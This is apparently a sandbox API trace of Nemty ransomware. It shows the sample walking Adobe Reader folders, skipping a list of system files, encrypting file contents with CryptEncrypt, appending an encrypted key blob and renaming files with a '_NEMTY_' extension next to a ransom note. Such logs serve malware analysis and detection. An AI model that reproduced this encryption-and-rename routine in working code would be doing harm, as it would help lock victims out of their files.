[0171.645] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=90263) returned 1 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x16090) returned 0x6352c48 [0171.645] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.646] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x16090, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x16090, lpOverlapped=0x0) returned 1 [0171.653] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.653] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x16090, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x16090, lpOverlapped=0x0) returned 1 [0171.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.654] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=90263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16097 [0171.654] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.654] CloseHandle (hObject=0x3b0) returned 1 [0171.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.654] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.656] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15db2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.656] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.657] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.657] Sleep (dwMilliseconds=0x5) [0171.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f6df30, dwHighDateTime=0x1d561e8)) [0171.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f6df30, dwHighDateTime=0x1d561e8)) [0171.660] GetLastError () returned 0x0 [0171.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.660] GetLastError () returned 0x0 [0171.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.660] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.660] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.661] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.661] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="coqGItR6Tb01ew99TjGl1ctlOHQuPikvNDRrNI/WbsEy6eYnt87+vfQy+511R56V\r\nnHzXJBr+eDZoQTTFIjk0f2vC+o7elWEX3vpbTPLZ/1YUvfbgKuTNcRyTIeaZ2z/P\r\n5UFrP8z3Yy/5v66r3yZ+lCPHHswCWIDSB8tzoM9JDa8fN3HS+4K/bPzrNqWYju1d\r\n6b+cJzQ32p3sCglzphb3k9c+t0xqlYDN8cKXYztJ2RVm37C2M7rva5YZyxKSuwtV\r\nmxltAUFJYpw5Wn77hxmDBCmd0XvMZqamOhcnttxdCtsIpE/urcgn8S9EESmf3wuX\r\nzrAtBH6DzJfvPz42Lh5GBg==\r\n", pcchString=0x653e5dc) returned 1 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.661] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=89522) returned 1 [0171.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15db0) returned 0x6352c48 [0171.661] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.661] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15db0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x15db0, lpOverlapped=0x0) returned 1 [0171.668] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.668] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15db0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x15db0, lpOverlapped=0x0) returned 1 [0171.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.669] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=89522, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15db2 [0171.669] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.669] CloseHandle (hObject=0x3b0) returned 1 [0171.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.669] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.670] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f21c70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19f21c70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f21c70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.670] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.671] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.671] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.671] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f21c70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19f21c70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f21c70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) 